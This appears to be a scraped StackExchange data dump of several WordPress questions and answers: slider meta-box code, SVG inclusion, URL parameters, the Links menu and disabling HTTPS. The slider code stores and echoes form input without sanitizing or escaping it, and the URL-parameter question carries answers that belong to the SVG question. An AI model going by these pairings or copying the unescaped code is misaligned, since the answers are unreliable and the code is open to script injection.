add_meta_box("mb_wys_slides", "Slides", "wys_slides_display", "slider", "normal", "high");
}
add_action( 'admin_enqueue_scripts', 'wys_slides_scripts' );
function wys_slides_scripts(){
global $post_type;
if ( $post_type == "slider" ){
wp_enqueue_style('slider-css-styles', get_template_directory_uri().'/inc/cpt/slides.css');
}
}
function wys_slides_display(){
$source = get_post_meta( get_the_ID(), 'selected_source', true );
$image = get_post_meta( get_the_ID(), 'wys_slider_image', true );
$video = get_post_meta( get_the_ID(), 'video_preview', true );
$title = get_post_meta( get_the_ID(), 'wys_slider_title', true );
$caption = get_post_meta( get_the_ID(), 'wys_slider_caption', true );
$link = get_post_meta( get_the_ID(), 'wys_slider_link', true );
$target = get_post_meta( get_the_ID(), 'wys_link_target', true );
?>
<script>
function resetItAll(){
// Clear fields
$('#image-url').val('');
$('#video-url').val('');
$('#wys-slider-image').val('');
$('#video-preview').val('');
// Clear Uploaded Image
$('#slide-upload').removeClass('hasimage');
$('#slide-upload').css('background-image', 'none');
// Clear Image by URL
$('#slide-url').removeClass('hasimage');
$('#slide-url').css('background-image', 'none');
$('#slide-url .replace-image').hide();
$('#slide-url .form-wrap').show();
// Clear Video
$('#slide-video').removeClass('hasimage');
$('#slide-video').css('background-image', 'none');
$('slide-video .replace-video').hide();
$('#slide-video .form-wrap').show();
}
(function($){
$.fn.extend({
limiter: function(elem){
$(this).on('keyup focus', function(){
setCount(this, elem);
});
function setCount(src, elem){
var chars = src.value.length;
var limit = $(src).attr('maxlength');
if ( chars > limit ){
src.value = src.value.substr(0, limit);
chars = limit;
}
var charsRemaining = limit - chars;
if ( charsRemaining <= (limit*.2) ) { var charsLeft = '<span class="charlimit-warning">'+charsRemaining+'</span>'; } else { var charsLeft = charsRemaining; }
$(elem).html( charsLeft + '/' + limit );
}
setCount($(this)[0], elem);
}
});
})(jQuery);
jQuery(document).ready(function($){
$('.image-src a').click(function(e){
e.preventDefault();
var tab = $(this).data('tab');
$('.image-src a').removeClass('selected');
$('.tab-content').removeClass('show-tab');
$(this).addClass('selected');
$("#slide-"+tab).addClass('show-tab');
$('#selected-source').val(tab);
});
$('#upload-image').click(function(e) {
e.preventDefault();
var custom_uploader = wp.media({
title: 'Select Slider Image',
button: {
text: 'Select Image'
},
multiple: false // Set this to true to allow multiple files to be selected
})
.on('select', function() {
var attachment = custom_uploader.state().get('selection').first().toJSON();
resetItAll();
$('#slide-upload').addClass('hasimage');
$('#slide-upload').css('background-image', 'url('+attachment.sizes.large.url+')');
$('#wys-slider-image').val(attachment.id);
})
.open();
});
$('#fetch-image').click(function(e){
e.preventDefault();
var imagesrc = $('#image-url').val();
$("<img>", {
src: imagesrc,
error: function(){
$('.error-msg .error-text').html('The URL you provided is not a valid image.');
$('.error-msg').show(0, function(){
$('#fetch-image').click(function(){
$('.error-msg').fadeOut(300);
});
$('.error-msg').delay(7000).fadeOut(300);
});
},
load: function(){
resetItAll();
$('#slide-url').addClass('hasimage');
$('#slide-url').css('background-image', 'url('+imagesrc+')');
$('#wys-slider-image').val(imagesrc);
$('#slide-url .form-wrap').hide();
$('#slide-url .replace-image').show();
}
});
});
$('#replace-image').click(function(e){
e.preventDefault();
$('#image-url').val('').focus();
$('#slide-url .replace-image').hide();
$('#slide-url .form-wrap').show();
});
$('#fetch-video').click(function(e){
e.preventDefault();
var videosrc = $('#video-url').val();
$.ajax({
method: "POST",
url: '<?php echo get_template_directory_uri(); ?>/inc/cpt/inc.videoimg.php',
data: { src: videosrc },
success: function(data){
if ( data == 'invalid.src' ) {
$('.error-msg .error-text').html('Please use a video from YouTube or Vimeo.');
$('.error-msg').show(0, function(){
$('#fetch-video').click(function(){
$('.error-msg').fadeOut(300);
});
$('.error-msg').delay(7000).fadeOut(300);
});
} else {
resetItAll();
$('#slide-video').addClass('hasimage');
$('#slide-video').css('background-image', 'url('+data+')');
$('#wys-slider-image').val(videosrc);
$('#video-preview').val(data);
$('#slide-video .form-wrap').hide();
$('#slide-video .replace-video').show();
}
},
error: function( xhr, status, error){
if (xhr.status > 0) console.log('got error: '+status); // Status 0 - when load is interrupted
}
});
});
$('#replace-video').click(function(e){
e.preventDefault();
$('#video-url').val('').focus();
$('slide-video .replace-video').hide();
$('#slide-video .form-wrap').show();
});
$('#link-target').click(function(e){
e.preventDefault();
$(this).toggleClass('selected');
if ( $(this).hasClass('selected') ) {
$('#wys-link-target').val('1');
} else {
$('#wys-link-target').val('0');
}
});
$('#slide-title').limiter('#slide-title-limit');
$('#slide-caption').limiter('#slide-caption-limit');
});
</script>
<div class="wys-slides">
<div class="slide" id="slide">
<div class="body">
<div class="slide-image-wrap">
<div class="error-msg" style="display: none;">
<span class="dashicons dashicons-warning"></span>
<span class="error-text">This is an error message.</span>
</div>
<div id="slide-upload" class="uploaded image tab-content <?php if ( $source == 'upload' && $image ) { $imgid = wp_get_attachment_image_src( $image, 'large' ); echo 'hasimage show-tab" style="background-image: url('.$imgid[0].');'; } if ( !$source ) { echo 'show-tab'; } ?>">
<a href="#upload" class="upload" id="upload-image"><span class="icon dashicons dashicons-upload"></span>
Upload Image</a>
</div>
<div id="slide-url" class="from-url image tab-content <?php if ( $source == 'url' && $image ) { echo 'hasimage show-tab" style="background-image: url('.$image.');'; } ?>">
<div class="form-wrap" <?php if ( $source == 'url' && $image ) { echo 'style="display: none;"'; } ?>>
<label>Image URL</label>
<input type="url" class="image-url" id="image-url" value="<?php if ( $source == 'url' && $image ) { echo $image; } ?>" />
<input type="button" name="fetch-image" id="fetch-image" value="Get Image" />
</div>
<div class="replace-image hasimage" <?php if ( $source == 'url' && !$image ) { echo 'style="display: none;"'; } ?>>
<a href="#replace-image" id="replace-image" class="upload"><span class="icon dashicons dashicons-controls-repeat"></span>
Replace Image</a>
</div>
</div>
<div id="slide-video" class="video image tab-content <?php if ( $source == 'video' && $image ) { echo 'hasimage show-tab" style="background-image: url('.$video.');'; } ?>">
<div class="form-wrap" <?php if ( $source == 'video' && $image ) { echo 'style="display: none;"'; } ?>>
<label>Video URL <span>Youtube or Vimeo only</span></label>
<input type="url" class="video-url" id="video-url" value="<?php if ( $source == 'video' && $image ) { echo $video; } ?>" />
<input type="button" name="fetch-video" id="fetch-video" value="Get Video" />
</div>
<div class="replace-video hasimage" <?php if ( $source == 'video' && !$image ) { echo 'style="display: none;"'; } ?>>
<a href="#replace-video" id="replace-video" class="upload"><span class="icon dashicons dashicons-controls-repeat"></span>
Replace Video</a>
</div>
</div>
<div class="image-src">
<a href="#upload-image" class="first <?php if ( $source == "upload" || !$source ) { echo 'selected'; } ?>" data-tab="upload"><span class="dashicons dashicons-upload"></span>
Upload</a>
<a href="#from-url" class="last <?php if ( $source == "url" ) { echo 'selected'; } ?>" data-tab="url"><span class="dashicons dashicons-admin-links"></span>
From URL</a>
</div>
</div>
<div class="slide-display-data">
<div class="row slide-title">
<div class="field">
<label>
Slide Title
<span class="notes" id="slide-title-limit"></span>
</label>
<input type="text" class="slide-title" name="wys_slider_title" id="slide-title" maxlength="50" placeholder="Enter Title" value="<?php echo $title; ?>" />
</div>
</div>
<div class="row slide-caption">
<div class="field">
<label>
Slide Caption
<span class="notes" id="slide-caption-limit"></span>
</label>
<textarea class="slide-caption" name="wys_slider_caption" maxlength="140" id="slide-caption"><?php echo $caption; ?></textarea>
</div>
</div>
<div class="row slide-link">
<div class="field">
<label>
Slide Link
<span class="notes">eg. http://www.google.com</span>
</label>
<input type="text" class="slide-link" name="wys_slider_link" value="<?php echo $link; ?>" />
</div>
<a href="#new-tab" id="link-target" class="link-target <?php if ( $target == "1" ) { echo 'selected'; } else { } ?>" title="Open link in new tab"><span class="icon dashicons dashicons-external"></span></a>
</div>
<input type="hidden" class="wys-link-target" id="wys-link-target" name="wys_link_target" value="<?php if ( !$target ) { echo '0'; } else { echo $target; } ?>" />
<input type="hidden" id="selected-source" name="selected_source" value="<?php if ( !$source ) { echo 'upload'; } else { echo $source; } ?>" />
<input type="hidden" id="wys-slider-image" name="wys_slider_image" value="<?php echo $image; ?>" />
<input type="hidden" id="video-preview" name="video_preview" value="<?php echo $video; ?>" />
</div>
<div class="clear"></div>
</div>
</div>
</div>
<?php
}
function wys_slide_title( $data , $postarr ) {
if( $data['post_type'] == 'slider' ) {
$slide_title = $_POST['wys_slider_title'];
$new_title = $slide_title;
// Set slug date
$post_date = date('Ymd-His');
// $post_slug = sanitize_title_with_dashes($post_date, '', $context = 'save');
$post_slugsan = sanitize_title($post_date);
$data['post_title'] = $new_title;
$data['post_name'] = $post_slugsan;
}
return $data;
}
add_filter( 'wp_insert_post_data' , 'wys_slide_title' , '99', 2 );
add_action('save_post', 'wys_slides_save_details');
function wys_slides_save_details(){
global $post;
update_post_meta($post->ID, "video_preview", $_POST["video_preview"]);
update_post_meta($post->ID, "wys_slider_image", $_POST["wys_slider_image"]);
update_post_meta($post->ID, "selected_source", $_POST["selected_source"]);
update_post_meta($post->ID, "wys_link_target", $_POST["wys_link_target"]);
update_post_meta($post->ID, "wys_slider_link", $_POST["wys_slider_link"]);
update_post_meta($post->ID, "wys_slider_caption", strip_tags($_POST["wys_slider_caption"]));
update_post_meta($post->ID, "wys_slider_title", strip_tags($_POST["wys_slider_title"]));
}
``` | I would suggest the following improvements for better code readability and to make it easier to maintain later.
1. Assuming you've removed **title** from your custom post type using the following function :
```
remove_post_type_support( 'slider', 'title' )
```
Now if you use `name="post_title"` instead of `name="wys_slider_title"`
WordPress will still use it and update the post title accordingly. Hence you don't have to worry about the title and you can focus on your custom fields. This results in a much better code and solves your problem of duplicating the title and then saving it.
\*This helps you avoid using `wp_insert_post_data` additional filter.
\*And since you're not manually updating the title using `wp_update_post` function, you don't have to worry about the `save_post` infinite loop.
2. Before you save any data, you want to make sure there's nothing malicious in there. Fortunately, WordPress provides a bunch of functions for [Data Validation](http://codex.wordpress.org/Data_Validation)
```
// Use:
update_post_meta( $post_id, 'my_meta_box_text', wp_kses( $_POST['my_meta_box_text'], $allowed ) );
// Instead of:
update_post_meta( $post_id, 'my_meta_box_text', $_POST['my_meta_box_text'] );
```
3. Use `save_post_{$post_type}` instead of plain `save_post`, This helps you avoid unnecesary `IF` statements
e.g. In your case,
`add_action( 'save_post_slider', 'wys_slides_save_details' );`
you won't need to wrap your logic around an `IF` statement
```
if( $post_type == 'slider' ) {...CODE...}
```
Since `save_post_slider` will only run for `Slider` post type. |
256,438 | <p>I want to include an SVG icon file after the body tag and I'm using this code:</p>
<pre><code><?php include_once("assets/img/sprites.svg"); ?>
</code></pre>
<p>But I get this error:</p>
<blockquote>
<p>Parse error: syntax error, unexpected T_STRING in /home/ostadba1/public_html/wp-content/themes/ostad/assets/img/sprites.svg on line 1</p>
</blockquote>
<p>the purpose for this is that I want use those icons with one line of code:</p>
<pre><code><svg class="icon"><use xlink:href="#shopping-cart"></use></svg>
</code></pre>
<p>How can I load an SVG file correctly in WordPress?</p>
| [
{
"answer_id": 256442,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>The command <code>include_once()</code> is used to include php files. SVG is just an image file, it should be treated the way you treat an image file (most of the times).</p>\n\n<p>In your case, if you want to use it as a font, you should include it in your CSS file, using :</p>\n\n<pre><code>@font-face{\n font-family:my-font;\n url('YOUR SVG URL HERE') format('svg');}\n</code></pre>\n\n<p>Then you can use your defined font codes to call different part of the sprite. There are plenty of guides about how to use SVG as a font.</p>\n\n<p>Another option would be to use <code><img></code> tags, as Brian suggested in the comments.</p>\n\n<p>You can also use SVG as background images, the same way you use a <code>jpg</code> file as <code>background-image</code> property in CSS.</p>\n"
},
{
"answer_id": 256445,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 4,
"selected": true,
"text": "<p>It's because that's not how you should include an SVG in PHP, <br>\n<code>include_once</code> is used for including PHP files. <br>\n<br>\nReason behind this error:</p>\n\n<pre><code>PHP Parse error: syntax error, unexpected version (T_STRING)\n</code></pre>\n\n<p>is that PHP was unable to parse the beginning of the SVG file at the point where the XML version was defined:</p>\n\n<pre><code><?xml version=\"1.0\" encoding=\"utf-8\"?>\n</code></pre>\n\n<p><strong>Solution 1</strong>: <em>To fix this, just remove the XML header tag from your SVG file completely.</em></p>\n\n<p><strong>Solution 2:</strong> Follow these tutorials. (<em>Recommended</em>)</p>\n\n<ol>\n<li><a href=\"http://blog.teamtreehouse.com/perfect-wordpress-inline-svg-workflow\" rel=\"noreferrer\">The Perfect WordPress Inline SVG Workflow</a> </li>\n<li><a href=\"https://richtabor.com/svg-inline-sprites-in-themes/\" rel=\"noreferrer\">Using Inline SVG Sprites in WordPress Themes</a></li>\n</ol>\n\n<p>This is a much better way of including SVGs in your themes.\nBoth of them explain the same concept.<br>\nThese tutorials will help you understand how to include an SVG in PHP in <strong>WordPress</strong>.<br></p>\n\n<p><em>Now how to include them after the body tag?</em><br>\nThis requires for you to use these tutorials in your theme files where appropriate.<br>\nFor instance, if your theme opens the body tag in <code>index.php</code> you'll need to modify <code>index.php</code> and include the SVGs there.</p>\n\n<p><strong>Solution 3:</strong><br></p>\n\n<pre><code><?php echo file_get_contents(\"filename.svg\"); ?>\n</code></pre>\n\n<p>You can just echo the contents of your SVG file wherever you want in your HTML section of your PHP file.</p>\n\n<p><br>\nHowever, playing with theme files requires PHP and WordPress knowledge to some extent.</p>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256438",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/107115/"
]
| I want to include an SVG icon file after the body tag and I'm using this code:
```
<?php include_once("assets/img/sprites.svg"); ?>
```
But I get this error:
>
> Parse error: syntax error, unexpected T\_STRING in /home/ostadba1/public\_html/wp-content/themes/ostad/assets/img/sprites.svg on line 1
>
>
>
the purpose for this is that I want use those icons with one line of code:
```
<svg class="icon"><use xlink:href="#shopping-cart"></use></svg>
```
How can I load an SVG file correctly in WordPress? | It's because that's not how you should include an SVG in PHP,
`include_once` is used for including PHP files.
Reason behind this error:
```
PHP Parse error: syntax error, unexpected version (T_STRING)
```
is that PHP was unable to parse the beginning of the SVG file at the point where the XML version was defined:
```
<?xml version="1.0" encoding="utf-8"?>
```
**Solution 1**: *To fix this, just remove the XML header tag from your SVG file completely.*
**Solution 2:** Follow these tutorials. (*Recommended*)
1. [The Perfect WordPress Inline SVG Workflow](http://blog.teamtreehouse.com/perfect-wordpress-inline-svg-workflow)
2. [Using Inline SVG Sprites in WordPress Themes](https://richtabor.com/svg-inline-sprites-in-themes/)
This is a much better way of including SVGs in your themes.
Both of them explain the same concept.
These tutorials will help you understand how to include an SVG in PHP in **WordPress**.
*Now how to include them after the body tag?*
This requires for you to use these tutorials in your theme files where appropriate.
For instance, if your theme opens the body tag in `index.php` you'll need to modify `index.php` and include the SVGs there.
**Solution 3:**
```
<?php echo file_get_contents("filename.svg"); ?>
```
You can just echo the contents of your SVG file wherever you want in your HTML section of your PHP file.
However, playing with theme files requires PHP and WordPress knowledge to some extent. |
256,439 | <p>Im using Calculated Form Fields plugin for a Wordpress website. I already created the form I needed, but now I need to add the calculated price from the form as a URL parameter dynamically, when the button bellow the form is clicked. </p>
<p>The website uses Visual Composer and this is the button html:</p>
<pre><code><a class="nectar-button medium accent-color has-icon regular-button" target="_blank" href="https://na2.docusign.net/member/PowerFormSigning.aspx?PowerFormId=df6fbf3d-6f5d-4c48-8965-f4fa810099f4&amp;Institutional_Buyer_AnnualPrice=15000"><span>Purchase Kuali Ready</span></a>
</code></pre>
<p>I want to change the "Institutional_Buyer_AnnualPrice=15000" part of the URL to be added/changed dynamically, according to what is the price in the field. And this is my current JavaScript code:</p>
<pre><code>(function($) {
document.getElementsByClassName("nectar-button").onclick = function() {
var link = document.getElementsByClassName("nectar-button");
var price = $('#fieldname9_1').val();
link.setAttribute('href','https://na2.docusign.net/member/PowerFormSigning.aspx?PowerFormId=df6fbf3d-6f5d-4c48-8965-f4fa810099f4&Institutional_Buyer_AnnualPrice=' + price);
return false;
}
})(jQuery);
</code></pre>
<p>Here is the link of the page: <a href="https://www.kuali.co/products/kuali-ready-online-purchasing/" rel="nofollow noreferrer">https://www.kuali.co/products/kuali-ready-online-purchasing/</a></p>
<p>I`ve already tried the solutions of like 3-4 questions about the same topic I found on Stackoverflow, but none of them works for me, thats why I wrote the question to wordpress.stackexchange.com</p>
<p>p.s. Please ignore the fact that making the js code work will affect all the buttons created with Visual Composer for now.</p>
| [
{
"answer_id": 256442,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>The command <code>include_once()</code> is used to include php files. SVG is just an image file, it should be treated the way you treat an image file (most of the times).</p>\n\n<p>In your case, if you want to use it as a font, you should include it in your CSS file, using :</p>\n\n<pre><code>@font-face{\n font-family:my-font;\n url('YOUR SVG URL HERE') format('svg');}\n</code></pre>\n\n<p>Then you can use your defined font codes to call different part of the sprite. There are plenty of guides about how to use SVG as a font.</p>\n\n<p>Another option would be to use <code><img></code> tags, as Brian suggested in the comments.</p>\n\n<p>You can also use SVG as background images, the same way you use a <code>jpg</code> file as <code>background-image</code> property in CSS.</p>\n"
},
{
"answer_id": 256445,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 4,
"selected": true,
"text": "<p>It's because that's not how you should include an SVG in PHP, <br>\n<code>include_once</code> is used for including PHP files. <br>\n<br>\nReason behind this error:</p>\n\n<pre><code>PHP Parse error: syntax error, unexpected version (T_STRING)\n</code></pre>\n\n<p>is that PHP was unable to parse the beginning of the SVG file at the point where the XML version was defined:</p>\n\n<pre><code><?xml version=\"1.0\" encoding=\"utf-8\"?>\n</code></pre>\n\n<p><strong>Solution 1</strong>: <em>To fix this, just remove the XML header tag from your SVG file completely.</em></p>\n\n<p><strong>Solution 2:</strong> Follow these tutorials. (<em>Recommended</em>)</p>\n\n<ol>\n<li><a href=\"http://blog.teamtreehouse.com/perfect-wordpress-inline-svg-workflow\" rel=\"noreferrer\">The Perfect WordPress Inline SVG Workflow</a> </li>\n<li><a href=\"https://richtabor.com/svg-inline-sprites-in-themes/\" rel=\"noreferrer\">Using Inline SVG Sprites in WordPress Themes</a></li>\n</ol>\n\n<p>This is a much better way of including SVGs in your themes.\nBoth of them explain the same concept.<br>\nThese tutorials will help you understand how to include an SVG in PHP in <strong>WordPress</strong>.<br></p>\n\n<p><em>Now how to include them after the body tag?</em><br>\nThis requires for you to use these tutorials in your theme files where appropriate.<br>\nFor instance, if your theme opens the body tag in <code>index.php</code> you'll need to modify <code>index.php</code> and include the SVGs there.</p>\n\n<p><strong>Solution 3:</strong><br></p>\n\n<pre><code><?php echo file_get_contents(\"filename.svg\"); ?>\n</code></pre>\n\n<p>You can just echo the contents of your SVG file wherever you want in your HTML section of your PHP file.</p>\n\n<p><br>\nHowever, playing with theme files requires PHP and WordPress knowledge to some extent.</p>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256439",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112015/"
]
| Im using Calculated Form Fields plugin for a Wordpress website. I already created the form I needed, but now I need to add the calculated price from the form as a URL parameter dynamically, when the button bellow the form is clicked.
The website uses Visual Composer and this is the button html:
```
<a class="nectar-button medium accent-color has-icon regular-button" target="_blank" href="https://na2.docusign.net/member/PowerFormSigning.aspx?PowerFormId=df6fbf3d-6f5d-4c48-8965-f4fa810099f4&Institutional_Buyer_AnnualPrice=15000"><span>Purchase Kuali Ready</span></a>
```
I want to change the "Institutional\_Buyer\_AnnualPrice=15000" part of the URL to be added/changed dynamically, according to what is the price in the field. And this is my current JavaScript code:
```
(function($) {
document.getElementsByClassName("nectar-button").onclick = function() {
var link = document.getElementsByClassName("nectar-button");
var price = $('#fieldname9_1').val();
link.setAttribute('href','https://na2.docusign.net/member/PowerFormSigning.aspx?PowerFormId=df6fbf3d-6f5d-4c48-8965-f4fa810099f4&Institutional_Buyer_AnnualPrice=' + price);
return false;
}
})(jQuery);
```
Here is the link of the page: <https://www.kuali.co/products/kuali-ready-online-purchasing/>
I`ve already tried the solutions of like 3-4 questions about the same topic I found on Stackoverflow, but none of them works for me, thats why I wrote the question to wordpress.stackexchange.com
p.s. Please ignore the fact that making the js code work will affect all the buttons created with Visual Composer for now. | It's because that's not how you should include an SVG in PHP,
`include_once` is used for including PHP files.
Reason behind this error:
```
PHP Parse error: syntax error, unexpected version (T_STRING)
```
is that PHP was unable to parse the beginning of the SVG file at the point where the XML version was defined:
```
<?xml version="1.0" encoding="utf-8"?>
```
**Solution 1**: *To fix this, just remove the XML header tag from your SVG file completely.*
**Solution 2:** Follow these tutorials. (*Recommended*)
1. [The Perfect WordPress Inline SVG Workflow](http://blog.teamtreehouse.com/perfect-wordpress-inline-svg-workflow)
2. [Using Inline SVG Sprites in WordPress Themes](https://richtabor.com/svg-inline-sprites-in-themes/)
This is a much better way of including SVGs in your themes.
Both of them explain the same concept.
These tutorials will help you understand how to include an SVG in PHP in **WordPress**.
*Now how to include them after the body tag?*
This requires for you to use these tutorials in your theme files where appropriate.
For instance, if your theme opens the body tag in `index.php` you'll need to modify `index.php` and include the SVGs there.
**Solution 3:**
```
<?php echo file_get_contents("filename.svg"); ?>
```
You can just echo the contents of your SVG file wherever you want in your HTML section of your PHP file.
However, playing with theme files requires PHP and WordPress knowledge to some extent. |
256,454 | <p>The admin panel of my WordPress (4.7.2) installation on my hosting (godaddy) has "Links" section enabled.</p>
<p>I set it up a few seconds ago with storefront theme. Then removed storefront and activated starter theme _S (underscores).</p>
<p>Even though I <strong>did not</strong> use following code, the links section is visible. Why is that?</p>
<pre><code>add_filter( 'pre_option_link_manager_enabled', '__return_true' );
</code></pre>
<p><a href="https://i.stack.imgur.com/cqHCe.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cqHCe.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 256458,
"author": "Pat J",
"author_id": 16121,
"author_profile": "https://wordpress.stackexchange.com/users/16121",
"pm_score": 1,
"selected": false,
"text": "<p>Is this a brand-new site, or one that you've recently upgraded to 4.7.2? If the latter, here's one possibility:</p>\n\n<blockquote>\n <p>If you are upgrading from a previous version of WordPress with any active links, the Links Manager will continue to function as normal.</p>\n</blockquote>\n\n<p>From <a href=\"https://codex.wordpress.org/Links_Manager\" rel=\"nofollow noreferrer\">Codex » Links Manager</a>.</p>\n\n<p>Also, try disabling all your plugins and switch to a WordPress default theme (like Twenty Fourteen, Twenty Fifteen, Twenty Sixteen, etc.) to see if the behaviour persists.</p>\n"
},
{
"answer_id": 256464,
"author": "Community",
"author_id": -1,
"author_profile": "https://wordpress.stackexchange.com/users/-1",
"pm_score": 3,
"selected": true,
"text": "<p>If you install WordPress using the GoDaddy cPanel then GoDaddy will automatically install a number of <a href=\"https://codex.wordpress.org/Must_Use_Plugins\" rel=\"nofollow noreferrer\">Must Use Plugins</a> in your installation. These plugins are invisible and you can't disable them by normal means. One of these plugins is enabling the Link Manager.</p>\n\n<p>Aside: If you haven't worked on your site yet I recommend <a href=\"https://codex.wordpress.org/Installing_WordPress\" rel=\"nofollow noreferrer\">installing WordPress manually</a>. The plugins GoDaddy adds will add unnecessary features and sometimes conflict with other plugins.</p>\n"
},
{
"answer_id": 256470,
"author": "Wordpress Student",
"author_id": 91995,
"author_profile": "https://wordpress.stackexchange.com/users/91995",
"pm_score": -1,
"selected": false,
"text": "<p>Remove this line from <code>functions.php</code>:</p>\n\n<pre><code>add_filter( 'pre_option_link_manager_enabled', '__return_true' );\n</code></pre>\n\n<p>Or use remove filter hook</p>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256454",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112778/"
]
| The admin panel of my WordPress (4.7.2) installation on my hosting (godaddy) has "Links" section enabled.
I set it up a few seconds ago with storefront theme. Then removed storefront and activated starter theme \_S (underscores).
Even though I **did not** use following code, the links section is visible. Why is that?
```
add_filter( 'pre_option_link_manager_enabled', '__return_true' );
```
[](https://i.stack.imgur.com/cqHCe.png) | If you install WordPress using the GoDaddy cPanel then GoDaddy will automatically install a number of [Must Use Plugins](https://codex.wordpress.org/Must_Use_Plugins) in your installation. These plugins are invisible and you can't disable them by normal means. One of these plugins is enabling the Link Manager.
Aside: If you haven't worked on your site yet I recommend [installing WordPress manually](https://codex.wordpress.org/Installing_WordPress). The plugins GoDaddy adds will add unnecessary features and sometimes conflict with other plugins. |
256,457 | <p>I've installed WordPress and setup the database.<br>
I go to the address and the setup page is there, but no CSS.<br>
I think: something's wrong, but if I just do the setup maybe everything will just go back to normal.<br>
No.<br>
So then I spend a while looking through search results for WordPress styles not working etc.<br>
I discover that all the links are present in the head of the page(s), and they point to the right pages, but they are not being loaded.<br>
WordPress is trying to use a secure connection, but I don't have an SSL certificate or anything like that and I shouldn't think I'll need one for this either. This means that all the links to stylesheets and scripts are seen as untrustworthy and blocked.<br>
I changed my searches to point in the direction of disabling https / ssl, but nothing I have found works.<br>
E.g. I've tried adding stuff to my .htaccess file (lost the link to another related question on this site)<br>
I've tried to find lines like <code>define( 'force_SSL', true );</code> in wp-config.php but to no avail (<a href="https://stackoverflow.com/questions/22338756/gae-php-how-to-disable-https-for-wordpress">related question</a>). I've tried adding these lines (switching them to false) as well.<br></p>
<p>Thanks for any help.</p>
<p>Solution:
The problem was not what I thought it was. Dataplicity (I am running off a pi) forces use of HTTPS, but as wordpress <em>wasn't</em> using HTTPS, the 'insecure' scripts weren't being loaded. All I needed to do was enable HTTPS.</p>
<p>I'm sure the answers below would have helped if my problem was what I thought it was, and I hope they'll help others with the same problem as I thought I had.</p>
| [
{
"answer_id": 256461,
"author": "Pat J",
"author_id": 16121,
"author_profile": "https://wordpress.stackexchange.com/users/16121",
"pm_score": 4,
"selected": false,
"text": "<p>Check your <code>wp-config.php</code> file for lines like:</p>\n\n<pre><code>define( 'WP_SITEURL', 'https://example.com' );\ndefine( 'WP_HOME', 'https://example.com' );\n</code></pre>\n\n<p>Also check your database's <code>{prefix}_options</code> table:</p>\n\n<pre><code>SELECT * FROM wp_options WHERE option_name='siteurl' OR option_name='home';\n</code></pre>\n\n<p>...assuming that your database's prefix is <code>wp_</code>.</p>\n"
},
{
"answer_id": 256467,
"author": "Viktor",
"author_id": 13351,
"author_profile": "https://wordpress.stackexchange.com/users/13351",
"pm_score": 0,
"selected": false,
"text": "<p>Following Pat's answer. You can try adding these 2 lines to your wp-config.php file to see if this fixes the error:</p>\n\n<pre><code>define( 'WP_SITEURL', 'http://example.com' );\ndefine( 'WP_HOME', 'http://example.com' );\n</code></pre>\n\n<p>This will force WordPress to use http version of your domain. If this fixes the issue, something in the database is causing this. </p>\n\n<p>If you have any plugins setup, make sure to also disable all of them to make sure none of them are causing this issue.</p>\n\n<p>Also, I recommend using Chrome's Incognito mode or Firefox's Private mode to visit your website and see if the HTTPS is still being used by WordPress. </p>\n\n<p>If it's working in the Incognito mode (WordPress uses HTTP correctly), than you should try clearing your browser cache. I've seen browser cache redirecting http traffic to https before, even if https isn't working. I would recommend making sure it's not cache.</p>\n"
},
{
"answer_id": 256489,
"author": "user113337",
"author_id": 113337,
"author_profile": "https://wordpress.stackexchange.com/users/113337",
"pm_score": 3,
"selected": false,
"text": "<p>You can modify .htaccess file:</p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{HTTPS} on\nRewriteRule ^ http://%{HTTP_HOST}%{REQUEST_URI} [R=301,L,NE]\n</code></pre>\n"
},
{
"answer_id": 256765,
"author": "Arvind Singh",
"author_id": 113501,
"author_profile": "https://wordpress.stackexchange.com/users/113501",
"pm_score": 0,
"selected": false,
"text": "<p>Check your <code>wp-config.php</code> file for lines like:</p>\n<pre><code>define( 'WP_SITEURL', 'https://....' );\ndefine( 'WP_HOME', 'https://.....' );\n</code></pre>\n<p>If you are using linux server, then edit or create an <code>.htaccess</code> file in your WordPress folder with the followin in it:</p>\n<pre><code>RewriteEngine On\nRewriteCond %{HTTPS} on\nRewriteRule ^ http://%{HTTP_HOST}%{REQUEST_URI} [R=301,L,NE]\n</code></pre>\n<p>Or the better option is</p>\n<p>If you have successfully installed the WordPress then go to\n<code>settings>general></code></p>\n<p><code>WordPress Address (URL)</code>: change this from <code>https</code> to <code>http</code><br />\n<code>Site Address (URL)</code>: same with this</p>\n"
},
{
"answer_id": 257093,
"author": "xvilo",
"author_id": 104427,
"author_profile": "https://wordpress.stackexchange.com/users/104427",
"pm_score": 1,
"selected": false,
"text": "<p>Please check your website URL set from the settings. \nThis can be done trough the database like Pat Said, but if your not <em>that</em> tech savvy and you can still access the WordPress admin, use that. </p>\n\n<p>Go to Settings -> General and check <code>WordPress Address (URL)</code> and <code>Site Address (URL)</code>. These should start with <code>http</code> instead of <code>https</code>.</p>\n"
},
{
"answer_id": 325086,
"author": "Ep1ctet",
"author_id": 158646,
"author_profile": "https://wordpress.stackexchange.com/users/158646",
"pm_score": 1,
"selected": false,
"text": "<p>In my file <code>wp-config.php</code> I have:</p>\n<pre><code>define('WP_SITEURL', FLYWHEEL_DEFAULT_PROTOCOL . 'example.com');\ndefine('WP_HOME', FLYWHEEL_DEFAULT_PROTOCOL . 'example.com');\n</code></pre>\n<p>You need find this string:</p>\n<pre><code>define('FLYWHEEL_DEFAULT_PROTOCOL', 'https://');\n</code></pre>\n<p>And change <code>https://</code> to <code>http://</code></p>\n"
},
{
"answer_id": 326620,
"author": "Laxmisrinivas samayamantri",
"author_id": 159816,
"author_profile": "https://wordpress.stackexchange.com/users/159816",
"pm_score": 2,
"selected": false,
